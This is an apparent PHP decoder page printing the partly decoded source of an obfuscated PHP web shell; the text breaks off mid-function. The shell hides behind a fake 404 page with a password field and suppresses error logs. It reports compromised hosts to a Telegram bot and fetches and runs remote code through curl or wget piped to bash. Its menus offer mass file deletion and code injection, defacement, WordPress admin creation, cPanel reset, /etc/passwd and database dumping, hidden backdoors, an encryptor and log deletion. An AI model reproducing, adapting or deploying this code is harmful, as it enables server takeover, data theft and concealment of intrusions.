Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

<?php goto MnR7p; VQKtn: define(wb('WA=='), wb('TGVtYXRhbmc=')); goto Dt0fl; MnR7p: define..

Decoded Output download

<?php goto MnR7p; VQKtn: define(wb('WA=='), wb('TGVtYXRhbmc=')); goto Dt0fl; MnR7p: define(wb('TVVSVEFE'), wb('WDEuMFg=')); goto VQKtn; Dt0fl: goto dXzo6; dXzo6: if (!is_writable(session_save_path())) { @mkdir(wb('LnNlc3Npb24='), 511); putenv(wb('VE1QRElSPQ==') . dirname(__FILE__) . wb('Ly5zZXNzaW9uLw==')); ini_set(wb('c2Vzc2lvbi5zYXZlX3BhdGg='), dirname(__FILE__) . wb('Ly5zZXNzaW9uLw==')); ini_set(wb('c2Vzc2lvbi5nY19wcm9iYWJpbGl0eQ=='), 1); } goto B_1Pe; NXNtQ: function xmv0($hsw2 = 10) { $xpt3 = wb('MDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVo='); $srh4 = 62; $kic5 = ''; for ($lga6 = 0; $lga6 < $hsw2; $lga6++) { $kic5 .= $xpt3[rand(0, $srh4 - 1)]; } return $kic5; } goto K1ZeG; tlod_: $qmi7 = wb('MWIxY2VjYWViZDgyNWRkZTc2MTAzZWE3NzIyYzMwYWUzZmZmYjIwNg=='); goto l2MGD; K1ZeG: function pzb1() { echo wb('PCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50J25vaW5kZXgsIG5vZm9sbG93Jz48dGl0bGU+PC90aXRsZT48L2hlYWQ+PGJvZHk+PGgxPk5vdCBGb3VuZDwvaDE+PHRpdGxlPjQwNCBOb3QgRm91bmQ8L3RpdGxlPjxzdHlsZSB0eXBlPSd0ZXh0L2Nzcyc+aW5wdXRbdHlwZT1wYXNzd29yZF0geyB3aWR0aDogMjUwcHg7IGhlaWdodDogMjVweDsgY29sb3I6IHdoaXRlOyBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgYm9yZGVyOiAxcHggc29saWQgd2hpdGU7IG1hcmdpbi1sZWZ0OiAyMHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IH08L3N0eWxlPjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPjxwPkFkZGl0aW9uYWxseSwgYSA0MDQgTm90IEZvdW5kIGVycm9yIHdhcyBlbmNvdW50ZXJlZCB3aGlsZSB0cnlpbmcgdG8gdXNlIGFuIEVycm9yRG9jdW1lbnQgdG8gaGFuZGxlIHRoZSByZXF1ZXN0LjwvcD48aHI+PGFkZHJlc3M+QXBhY2hlIFNlcnZlciBhdCA=') . $_SERVER[wb('SFRUUF9IT1NU')] . wb('IFBvcnQg') . $_SERVER[wb('U0VSVkVSX1BPUlQ=')] . wb('PC9hZGRyZXNzPjxjZW50ZXI+PGZvcm0gbWV0aG9kPSdwb3N0Jz48aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9Jw==') . $_SESSION[wb('a2V5eHg=')] . wb('JyBhdXRvY29tcGxldGU9J29mZic+PGJyPjwvZm9ybT48L2NlbnRlcj48L2JvZHk+PC9odG1sPg=='); die; } goto tlod_; pP1u9: if (empty($_SESSION[sha1(md5($_SERVER[wb('SFRUUF9IT1NU')])) . $zwp8])) { if (isset($_POST[$zwp8]) and sha1(md5($_POST[$zwp8])) == $qmi7) { $_SESSION[sha1(md5($_SERVER[wb('SFRUUF9IT1NU')])) . $zwp8] = true; } else { pzb1(); die; } } goto sBJll; l2MGD: if (empty($_SESSION[wb('a2V5eHg=')])) { $dyy9 = xmv0(); $_SESSION[wb('a2V5eHg=')] = $dyy9; } goto GwLhv; B_1Pe: session_start(); goto NXNtQ; GwLhv: $zwp8 = $_SESSION[wb('a2V5eHg=')]; goto pP1u9; sBJll: if (version_compare(PHP_VERSION, wb('NS4zLjA=')) >= 0) { ob_start(); ob_implicit_flush(); $start = microtime(true); error_reporting(0); ini_set(wb('ZXJyb3JfbG9n'), null); ini_set(wb('aHRtbF9lcnJvcnM='), 0); ini_set(wb('bG9nX2Vycm9ycw=='), 0); ini_set(wb('bG9nX2Vycm9yc19tYXhfbGVu'), 0); ini_set(wb('ZGlzcGxheV9lcnJvcnM='), 0); ini_set(wb('ZGlzcGxheV9zdGFydHVwX2Vycm9ycw=='), 0); ini_set(wb('bWF4X2V4ZWN1dGlvbl90aW1l'), 90); function rehex($y) { $n = ''; for ($i = 0; $i < strlen($y) - 1; $i += 2) { $n .= chr(hexdec($y[$i] . $y[$i + 1])); } return $n; } $murray = array(wb('NzA2ODcwNWY3NTZlNjE2ZDY1'), wb('NzA2ODcwNzY2NTcyNzM2OTZmNmU='), wb('NjM2ODY0Njk3Mg=='), wb('Njc2NTc0NjM3NzY0'), wb('NzA3MjY1Njc1ZjczNzA2YzY5NzQ='), wb('NjM2ZjcwNzk='), wb('NjY2OTZjNjU1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3Mw=='), wb('NjI2MTczNjUzNjM0NWY2NDY1NjM2ZjY0NjU='), wb('Njk3MzVmNjQ2OTcy'), wb('NmY2MjVmNjU2ZTY0NWY2MzZjNjU2MTZlMjgyOTNi'), wb('NzU2ZTZjNjk2ZTZi'), wb('NmQ2YjY0Njk3Mg=='), wb('NjM2ODZkNmY2NA=='), wb('NzM2MzYxNmU2NDY5NzI='), wb('NzM3NDcyNWY3MjY1NzA2YzYxNjM2NQ=='), wb('Njg3NDZkNmM3MzcwNjU2MzY5NjE2YzYzNjg2MTcyNzM='), wb('NzY2MTcyNWY2NDc1NmQ3MA=='), wb('NjY2ZjcwNjU2ZQ=='), wb('NjY3NzcyNjk3NDY1'), wb('NjY2MzZjNmY3MzY1'), wb('NjQ2MTc0NjU='), wb('NjY2OTZjNjU2ZDc0Njk2ZDY1'), wb('NzM3NTYyNzM3NDcy'), wb('NzM3MDcyNjk2ZTc0NjY='), wb('NjY2OTZjNjU3MDY1NzI2ZDcz'), wb('NzQ2Zjc1NjM2OA=='), wb('NjY2OTZjNjU1ZjY1Nzg2OTczNzQ3Mw=='), wb('NzI2NTZlNjE2ZDY1'), wb('Njk3MzVmNjE3MjcyNjE3OQ=='), wb('Njk3MzVmNmY2MjZhNjU2Mzc0'), wb('NzM3NDcyNzA2Zjcz'), wb('Njk3MzVmNzc3MjY5NzQ2MTYyNmM2NQ=='), wb('Njk3MzVmNzI2NTYxNjQ2MTYyNmM2NQ=='), wb('NzM3NDcyNzQ2Zjc0Njk2ZDY1'), wb('NjY2OTZjNjU3MzY5N2E2NQ=='), wb('NzI2ZDY0Njk3Mg=='), wb('NmY2MjVmNjc2NTc0NWY2MzZjNjU2MTZl'), wb('NzI2NTYxNjQ2NjY5NmM2NQ=='), wb('NjE3MzczNjU3Mjc0'), wb('Njc3QTY5NkU2NjZDNjE3NDY1')); $___ = count($murray); for ($i = 0; $i < $___; $i++) { $GNJ[] = rehex($murray[$i]); } if (version_compare(PHP_VERSION, wb('Ny40LjA=')) < 0) { function stripslashes_deep($value) { global $GNJ; $value = $GNJ[28]($value) ? array_map(wb('c3RyaXBzbGFzaGVzX2RlZXA='), $value) : stripslashes($value); return $value; } if (function_exists(wb('Z2V0X21hZ2ljX3F1b3Rlc19ncGM=')) && get_magic_quotes_gpc() || ini_get(wb('bWFnaWNfcXVvdGVzX3N5YmFzZQ==')) && strtolower(ini_get(wb('bWFnaWNfcXVvdGVzX3N5YmFzZQ=='))) != wb('b2Zm')) { stripslashes_deep($_GET); stripslashes_deep($_POST); stripslashes_deep($_COOKIE); } } function rmdir_recursive($dir) { global $GNJ; foreach ($GNJ[13]($dir) as $file) { if (wb('Lg==') === $file || wb('Li4=') === $file) { continue; } if ($GNJ[8]("{$dir}/{$file}")) { @$GNJ[12]("{$dir}/{$file}", 511); rmdir_recursive("{$dir}/{$file}"); } else { @$GNJ[12]("{$dir}/{$file}", 511); $GNJ[10]("{$dir}/{$file}"); } } @$GNJ[12]($dir, 511); $GNJ[35]($dir); } function rec($j) { global $GNJ; if (trim(pathinfo($j, PATHINFO_BASENAME), wb('Lg==')) === '') { return; } if ($GNJ[8]($j)) { array_map(wb('cmVj'), glob($j . DIRECTORY_SEPARATOR . wb('eywufSo='), GLOB_BRACE | GLOB_NOSORT)); rmdir_recursive($j); } else { @$GNJ[10]($j); } } function rpl($j, $k) { global $GNJ; $obok = rehex($j); $ebek = rehex($k); if (is_file($ebek) && is_file($obok) && $GNJ[31]($obok)) { @$GNJ[5]($ebek, $obok); echo wb('PGgyIGNsYXNzPSd0ZXh0LWNlbnRlciBtdC0zJz5CRVJIQVNJTCA8YnI+cmVwbGFjZSA=') . $ebek . wb('IDwvYnI+a2U8L2JyPiA=') . $obok . wb('PC9oMj4='); } else { echo wb('PGgyIGNsYXNzPSd0ZXh0LWNlbnRlciBtdC0zJz5HQUdBTCA8YnI+cmVwbGFjZSA8L2JyPiA=') . $obok . wb('PC9oMj4='); } } function dre($y1, $y2) { global $GNJ; ob_start(); $GNJ[16]($y1($y2)); return $GNJ[36](); } function hex($n) { $y = ''; for ($i = 0; $i < strlen($n); $i++) { $y .= dechex(ord($n[$i])); } return $y; } function OK() { global $GNJ, $d; @$GNJ[38](wb('JEdOSls5XQ==')); redirectkeDepan(hex($d) . wb('JjE=')); die; } function ER() { global $GNJ, $d; @$GNJ[38](wb('JEdOSls5XQ==')); redirectkeDepan(hex($d) . wb('JjA=')); die; } function x($c) { global $GNJ; $perms = @$GNJ[24]($c); switch ($perms & 61440) { case wb('MHhDMDAw'): $info = wb('cw=='); break; case wb('MHhBMDAw'): $info = wb('bA=='); break; case wb('MHg4MDAw'): $info = wb('cg=='); break; case wb('MHg2MDAw'): $info = wb('Yg=='); break; case wb('MHg0MDAw'): $info = wb('ZA=='); break; case wb('MHgyMDAw'): $info = wb('Yw=='); break; case wb('MHgxMDAw'): $info = wb('cA=='); break; default: $info = wb('dQ=='); } $info .= $perms & 256 ? wb('cg==') : wb('LQ=='); $info .= $perms & 128 ? wb('dw==') : wb('LQ=='); $info .= $perms & 64 ? $perms & 2048 ? wb('cw==') : wb('eA==') : ($perms & 2048 ? wb('Uw==') : wb('LQ==')); $info .= $perms & 32 ? wb('cg==') : wb('LQ=='); $info .= $perms & 16 ? wb('dw==') : wb('LQ=='); $info .= $perms & 8 ? $perms & 1024 ? wb('cw==') : wb('eA==') : ($perms & 1024 ? wb('Uw==') : wb('LQ==')); $info .= $perms & 4 ? wb('cg==') : wb('LQ=='); $info .= $perms & 2 ? wb('dw==') : wb('LQ=='); $info .= $perms & 1 ? $perms & 512 ? wb('dA==') : wb('eA==') : ($perms & 512 ? wb('VA==') : wb('LQ==')); return $GNJ[23](wb('PCEtLSAlcyAtLT4gWyVzXQ=='), $info, $GNJ[22](decoct($perms), 2)); } function GrabMe($x, $y) { global $GNJ; $actual_link = (isset($_SERVER[wb('SFRUUFM=')]) && $_SERVER[wb('SFRUUFM=')] === wb('b24=') ? wb('aHR0cHM=') : wb('aHR0cA==')) . "://{$_SERVER[wb('SFRUUF9IT1NU')]}{$_SERVER[wb('U0NSSVBUX05BTUU=')]}"; $ohmy = decno(wb('eHNDbnNLeTl2WHZJdkdmRg==')); $ukauka = decno(wb('anNDZHU2V2xyc0RTcnAreWdMdXhydE9zb2JGKw==')); $tapi = decno(wb('d2J5c2duZVFnSVNTZlc2RmVaS0tqcWVRbkpKdXBLS2RqSkNoeGFyTnJyWEtob0s2ZU1lZ3M4V1RjTFNhelk2RG9BPT0=')); $tid = decno(wb('akg1b2ZYS09nWCtSZm02RmRJMD0=')); $gime = decno(wb('eDhHc3ZiU1NlSHpBdmFGN3RiMjFzc2EvbWJwdng3dTBqZz09')); if ($GNJ[26](wb('L3Vzci9sb2NhbC9jcGFuZWwvdmVyc2lvbg=='))) { $cpanel = wb('Y1BhbmVsOiBPTg=='); } else { $cpanel = wb('Y1BhbmVsOiBPRkY='); } if (function_exists(wb('c3lzdGVt')) || function_exists(wb('ZXhlYw==')) || function_exists(wb('c2hlbGxfZXhlYw==')) || function_exists(wb('cGNudGxfZXhlYw==')) || function_exists(wb('cGFzc3RocnU=')) || function_exists(wb('cHJvY19vcGVu')) || function_exists(wb('cG9wZW4='))) { if ($GNJ[26](wb('X3g='))) { $url = $gime . $tapi . $ukauka . $tid . wb('JnBhcnNlX21vZGU9TWFya2Rvd25WMiZ0ZXh0PWBgYCByMDB0Kw==') . OS() . wb('K0VYRUMlM0ErRU5BQkxFRCt8Kw==') . urlencode($cpanel) . wb('JTBB') . urlencode(b64dd($y)) . wb('YGBgJnJlcGx5X21hcmt1cD17ImlubGluZV9rZXlib2FyZCI6W1t7InRleHQiOiI=') . urlencode($x) . wb('IiwidXJsIjoi') . urlencode($actual_link) . wb('In1dXX0='); } else { $url = $gime . $tapi . $ukauka . $tid . wb('JnBhcnNlX21vZGU9TWFya2Rvd25WMiZ0ZXh0PWBgYCBOb25Sb290Kw==') . OS() . wb('K0VYRUMlM0ErRU5BQkxFRCt8Kw==') . urlencode($cpanel) . wb('JTBB') . urlencode(b64dd($y)) . wb('YGBgJnJlcGx5X21hcmt1cD17ImlubGluZV9rZXlib2FyZCI6W1t7InRleHQiOiI=') . urlencode($x) . wb('IiwidXJsIjoi') . urlencode($actual_link) . wb('In1dXX0='); } $tResult = fgt($url); } else { $url = $gime . $tapi . $ukauka . $tid . wb('JnBhcnNlX21vZGU9TWFya2Rvd25WMiZ0ZXh0PWBgYCs=') . OS() . wb('K0VYRUMlM0ErRElTQUJMRUQrfCs=') . urlencode($cpanel) . wb('JTBB') . urlencode(b64dd($y)) . wb('YGBgJnJlcGx5X21hcmt1cD17ImlubGluZV9rZXlib2FyZCI6W1t7InRleHQiOiI=') . urlencode($x) . wb('IiwidXJsIjoi') . urlencode($actual_link) . wb('In1dXX0='); $tResult = fgt($url); } } function GetMe($x, $y) { $actual_link = (isset($_SERVER[wb('SFRUUFM=')]) && $_SERVER[wb('SFRUUFM=')] === wb('b24=') ? wb('aHR0cHM=') : wb('aHR0cA==')) . "://{$_SERVER[wb('SFRUUF9IT1NU')]}{$_SERVER[wb('U0NSSVBUX05BTUU=')]}"; $MeOff = generateRandomString(22); $ohmy = decno(wb('eHNDbnNLeTl2WHZJdkdmRg==')); $tapi = decno(wb('d2J5c2duZUpnb09TZm15Q2VaS0tqcVRFcmNTSjByakJrN2V4b0llc3RzZlZ3WXFTaFlxWGVzTjZpNXV2dXJiQmp3PT0=')); $tid = decno(wb('aklSeGdYbUxmWUdXZlE9PQ==')); $gime = decno(wb('eDhHc3ZiU1NlSHpBdmFGN3RiMjFzc2EvbWJwdng3dTBqZz09')); switch ($y) { case wb('cjAwdA=='): exe(wb('Li9feCAgWD0=') . $MeOff . wb('ICYmIChjb21tYW5kIC12IGN1cmwgPi9kZXYvbnVsbCAmJiBYPSRYIGV4ZWMgYmFzaCAtYyAiJChjdXJsIC1mc1NMayA=') . $ohmy . wb('KSIgfHwgWD0kWCBleGVjIGJhc2ggLWMgIiQod2dldCAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC0tbm8tdmVyYm9zZSAtTy0g') . $ohmy . wb('KSIpID4gL2Rldi9udWxsIDI+JjE=')); break; default: exe(wb('WD0=') . $MeOff . wb('ICYmIChjb21tYW5kIC12IGN1cmwgPi9kZXYvbnVsbCAmJiBYPSRYIGV4ZWMgYmFzaCAtYyAiJChjdXJsIC1mc1NMayA=') . $ohmy . wb('KSIgfHwgWD0kWCBleGVjIGJhc2ggLWMgIiQod2dldCAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC0tbm8tdmVyYm9zZSAtTy0g') . $ohmy . wb('KSIpID4gL2Rldi9udWxsIDI+JjE=')); } $url = $gime . $tapi . wb('L3NlbmRNZXNzYWdlP2NoYXRfaWQ9') . $tid . wb('JnBhcnNlX21vZGU9TWFya2Rvd25WMiZ0ZXh0PQ==') . $y . wb('YGBgIEdTOiA=') . $MeOff . wb('YGBgJnJlcGx5X21hcmt1cD17ImlubGluZV9rZXlib2FyZCI6W1t7InRleHQiOiI=') . urlencode($x) . wb('IiwidXJsIjoi') . urlencode($actual_link) . wb('In1dXX0='); $tResult = fgt($url); } function GetFileTime($x, $y) { global $GNJ; switch ($y) { case wb('Y3JlYXRl'): return $GNJ[20](wb('WS1tLWQgSDppOnM='), @filectime($x)); break; case wb('bW9kaWZ5'): return $GNJ[20](wb('WS1tLWQgSDppOnM='), @$GNJ[21]($x)); break; case wb('YWNjZXNz'): return $GNJ[20](wb('WS1tLWQgSDppOnM='), @fileatime($x)); break; } } function GetFileSize($x) { global $GNJ; $x = abs($x); $size = array(wb('Qg=='), wb('S0I='), wb('TUI='), wb('R0I='), wb('VEI='), wb('UEI='), wb('RUI='), wb('WkI='), wb('WUI=')); $exp = $x ? floor(log($x) / log(1024)) : 0; return $GNJ[23](wb('JS4yZiA=') . $size[$exp], $x / pow(1024, floor($exp))); } function GetOwnerGroup($x) { global $GNJ; if (Unix()) { if (function_exists(wb('cG9zaXhfZ2V0cHd1aWQ=')) && function_exists(wb('cG9zaXhfZ2V0Z3JnaWQ='))) { $user = posix_getpwuid(@fileowner($x)); $group = posix_getgrgid(@filegroup($x)); return $GNJ[23](wb('JXM6JXM='), $user[wb('bmFtZQ==')], $group[wb('bmFtZQ==')]); } } return wb('Pzo/'); clearstatcache(); } function GetFileOwnerGroup($x) { global $GNJ; if (Unix()) { if (function_exists(wb('cG9zaXhfZ2V0cHd1aWQ=')) && function_exists(wb('cG9zaXhfZ2V0Z3JnaWQ='))) { $user = posix_getpwuid(@fileowner($x)); $group = posix_getgrgid(@filegroup($x)); return $GNJ[23](wb('JXM6JXM='), $user[wb('bmFtZQ==')], $group[wb('bmFtZQ==')]); } } return wb('Pzo/'); clearstatcache(); } function relaxation() { flush(); ob_flush(); sleep(1); } function generateRandomString($length = 10) { $characters = wb('MDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVo='); $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } function is_32bit() { return PHP_INT_SIZE === 4; } function Unix() { global $GNJ; return strtolower($GNJ[22](PHP_OS, 0, 3)) != wb('d2lu'); } function ExploitermenU($d) { echo wb('PGhyPjxicj4='); echo wb('PGgyIGNsYXNzPSd0ZXh0LWNlbnRlcic+RXhwbG9pdGVyIFk8L2gyPjxicj4='); echo wb('PGZvcm0gbWV0aG9kPSdQT1NUJz4gPGRpdiBjbGFzcz0ncm93IGNsZWFyZml4Jz4gPGRpdiBjbGFzcz0nY29sLW1kLTInPiA8YSBjbGFzcz0nZm9ybS1jb250cm9sIGFqeCcgaHJlZj0nP2Q9') . hex($d) . wb('Jg==') . hex(wb('c2lnbmF0dXJl')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPlNpZ25hdHVyZSBFeHBsb2l0PC9jZW50ZXI+PC9hPiA8L2Rpdj48ZGl2IGNsYXNzPSdjb2wtbWQtMic+IDxhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYWp4JyBocmVmPSc/ZD0=') . hex($d) . wb('Jg==') . hex(wb('Y3NyZg==')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPkNTUkYgRXhwbG9pdGVyPC9jZW50ZXI+PC9hPiA8L2Rpdj48ZGl2IGNsYXNzPSdjb2wtbWQtMic+IDxhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYWp4JyBocmVmPSc/ZD0=') . hex($d) . wb('Jg==') . hex(wb('NDAzNGV4ZQ==')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPkNWRSA0MDM0IEVYRTwvY2VudGVyPjwvYT4gPC9kaXY+PGRpdiBjbGFzcz0nY29sLW1kLTInPiA8YSBjbGFzcz0nZm9ybS1jb250cm9sIGFqeCcgaHJlZj0nP2Q9') . hex($d) . wb('Jg==') . hex(wb('YXV0b2V4cGxv')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPkF1dG8gRXhwbG88L2NlbnRlcj48L2E+IDwvZGl2PjxkaXYgY2xhc3M9J2NvbC1tZC0yJz4gPGEgY2xhc3M9J2Zvcm0tY29udHJvbCBhangnIGhyZWY9JyMnIGhlaWdodD0nMTAnPjxjZW50ZXI+IyMjIyMjPC9jZW50ZXI+PC9hPiA8L2Rpdj48ZGl2IGNsYXNzPSdjb2wtbWQtMic+IDxhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYWp4JyBocmVmPScjJyBoZWlnaHQ9JzEwJz48Y2VudGVyPiMjIyMjIzwvY2VudGVyPjwvYT4gPC9kaXY+PC9kaXY+PC9mb3JtPg=='); echo wb('PGJyPg=='); } function MassmenU($d) { echo wb('PGhyPiA8aDI+PGNlbnRlcj5NYXNzWCBUb29sczwvY2VudGVyPjwvaDI+IDxicj48Y2VudGVyPiA8Zm9ybSBtZXRob2Q9J1BPU1QnPiA8ZGl2IGNsYXNzPSdyb3cgY2xlYXJmaXgnPiA8ZGl2IGNsYXNzPSdjb2wtbWQtNCc+IDxhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYWp4JyBocmVmPSc/ZD0=') . hex($d) . wb('Jg==') . hex(wb('bWFzc190b29s')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPk1hc3MgRGVsZXRlPC9jZW50ZXI+PC9hPiA8L2Rpdj48ZGl2IGNsYXNzPSdjb2wtbWQtNCc+IDxhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYWp4JyBocmVmPSc/ZD0=') . hex($d) . wb('Jg==') . hex(wb('aW5qZWN0LWNvZGU=')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPk1hc3MgSW5qZWN0b3I8L2NlbnRlcj48L2E+IDwvZGl2PjxkaXYgY2xhc3M9J2NvbC1tZC00Jz4gPGEgY2xhc3M9J2Zvcm0tY29udHJvbCBhangnIGhyZWY9Jz9kPQ==') . hex($d) . wb('Jg==') . hex(wb('c2lnbmF0dXJl')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPk1hc3MgVGViYXI8L2NlbnRlcj48L2E+IDwvZGl2PjwvZGl2PjwvZm9ybT48L2NlbnRlcj48aHI+PGJyPg=='); } function AutomenU($d) { echo wb('PGhyPjxjZW50ZXI+PGgyPkhlbHAgVG9vbHM8L2gyPjxicj48dGFibGUgc3R5bGU9IndpZHRoOjkwJSI+IDx0cj4gPHRkPjxhIGNsYXNzPSJmb3JtLWNvbnRyb2wgYWp4IiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('TG9ja2Rvd24=')) . wb('PjxjZW50ZXI+TG9ja2Rvd248L2NlbnRlcj48L2E+PC90ZD48dGQ+PGEgY2xhc3M9ImZvcm0tY29udHJvbCBhangiIGhyZWY9P2Q9') . hex($d) . wb('Jg==') . hex(wb('Y3JvbnRhYg==')) . wb('PjxjZW50ZXI+Q3JvbnRhYjwvY2VudGVyPjwvYT48L3RkPjx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0/ZD0=') . hex($d) . wb('Jg==') . hex(wb('anVtcGluZw==')) . wb('PjxjZW50ZXI+SnVtcGluZzwvY2VudGVyPjwvYT48L3RkPjx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0/ZD0=') . hex($d) . wb('Jg==') . hex(wb('RU5D')) . wb('PjxjZW50ZXI+RW5jcnlwdG9yPC9jZW50ZXI+PC9hPjwvdGQ+PHRkPjxhIGNsYXNzPSJmb3JtLWNvbnRyb2wgYWp4IiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('Zm9vdGVy')) . wb('PjxjZW50ZXI+SW5qZWN0Qkw8L2NlbnRlcj48L2E+PC90ZD48L3RyPjx0cj4gPHRkPjxhIGNsYXNzPSJmb3JtLWNvbnRyb2wgYWp4IiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('YWRkdXNlcndw')) . wb('PjxjZW50ZXI+QWRkIEFkbWluIFdQPC9jZW50ZXI+PC9hPjwvdGQ+PHRkPjxhIGNsYXNzPSJmb3JtLWNvbnRyb2wgYWp4IiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('Y3BhbmVsLXJlc2V0')) . wb('PjxjZW50ZXI+Q3BhbmVsIFJlc2V0PC9jZW50ZXI+PC9hPjwvdGQ+PHRkPjxhIGNsYXNzPSJmb3JtLWNvbnRyb2wgYWp4IiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('emlwLW1lbnU=')) . wb('PjxjZW50ZXI+WmlwIE1lbnU8L2NlbnRlcj48L2E+PC90ZD48dGQ+PGEgY2xhc3M9ImZvcm0tY29udHJvbCBhangiIGhyZWY9P2Q9') . hex($d) . wb('Jg==') . hex(wb('c3ltbGluaw==')) . wb('PjxjZW50ZXI+U3ltbGluazwvY2VudGVyPjwvYT48L3RkPjx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0/ZD0=') . hex($d) . wb('Jg==') . hex(wb('cmRw')) . wb('PjxjZW50ZXI+Sy1SRFAgU2hlbGw8L2NlbnRlcj48L2E+PC90ZD48L3RyPjx0cj4gPHRkPjxhIGNsYXNzPSJmb3JtLWNvbnRyb2wgYWp4IiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('ZGItZHVtcA==')) . wb('PjxjZW50ZXI+REIgRHVtcDwvY2VudGVyPjwvYT48L3RkPjx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0/ZD0=') . hex($d) . wb('Jg==') . hex(wb('Y29uZmln')) . wb('PjxjZW50ZXI+L2V0Yy9wYXNzd2Q8L2NlbnRlcj48L2E+PC90ZD48dGQ+PGEgY2xhc3M9ImZvcm0tY29udHJvbCBhangiIGhyZWY9P2Q9') . hex($d) . wb('Jg==') . hex(wb('aW5qZWN0YmRzcWw=')) . wb('PjxjZW50ZXI+SGlkZGVuIEJEPC9jZW50ZXI+PC9hPjwvdGQ+PHRkPjxhIGNsYXNzPSJmb3JtLWNvbnRyb2wgYWp4IiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('eGluZm8=')) . wb('PjxjZW50ZXI+WC1JbmZvPC9jZW50ZXI+PC9hPjwvdGQ+PHRkPjxhIGNsYXNzPSJmb3JtLWNvbnRyb2wgYWp4IiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('ZGVsZXRlLWxvZ3M=')) . wb('PjxjZW50ZXI+RGVsZXRlIExvZ3M8L2NlbnRlcj48L2E+PC90ZD48L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+IDx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0iIyI+PGNlbnRlcj4jIyMjIzwvY2VudGVyPjwvYT48L3RkPjx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0iIyI+PGNlbnRlcj4jIyMjIzwvY2VudGVyPjwvYT48L3RkPjx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0iIyI+PGNlbnRlcj4jIyMjIzwvY2VudGVyPjwvYT48L3RkPjx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0iIyI+PGNlbnRlcj4jIyMjIzwvY2VudGVyPjwvYT48L3RkPjx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0iIyI+PGNlbnRlcj4jIyMjIzwvY2VudGVyPjwvYT48L3RkPjwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PGJyPjxicj4='); } function GOTONYA() { echo wb('PHNlbGVjdCBjbGFzcz0iZm9ybS1jb250cm9sLXNtIiBhcmlhLWxhYmVsPSJPcGVuIHRoaXMgc2VsZWN0IG1lbnUiIG9uY2hhbmdlPSJ0aGlzLm9wdGlvbnNbdGhpcy5zZWxlY3RlZEluZGV4XS52YWx1ZSAmJiAod2luZG93LmxvY2F0aW9uID0gdGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpOyI+PG9wdGlvbiBzZWxlY3RlZD5HbyB0byAuLjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Ij9kPQ==') . hex($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]) . wb('Ij5Ib21lPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0i') . $this_file . wb('Ij5UaGlzIEZpbGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSI/ZD0=') . hex(wb('L3RtcA==')) . wb('Ij4vdG1wPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iP2Q9') . hex(wb('L3Zhci90bXA=')) . wb('Ij4vdmFyL3RtcDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Ij9kPQ==') . hex(wb('L2Rldi9zaG0=')) . wb('Ij4vZGV2L3NobTwvb3B0aW9uPg=='); if ($GNJ[26](wb('L2V0Yy9odHRwZA=='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9odHRwZA==')) . wb('Jz4vZXRjL2h0dHBkPC9vcHRpb24+'); } if ($GNJ[26](wb('L2V0Yy9odHRwZC9jb25mL3BsZXNrLmNvbmYuZC92aG9zdHM='))) { 